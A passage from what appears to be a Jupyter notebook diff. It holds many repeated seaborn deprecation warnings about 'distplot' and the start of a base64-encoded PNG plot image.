axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n" + ] + }, + { + "data": { + "image/png": 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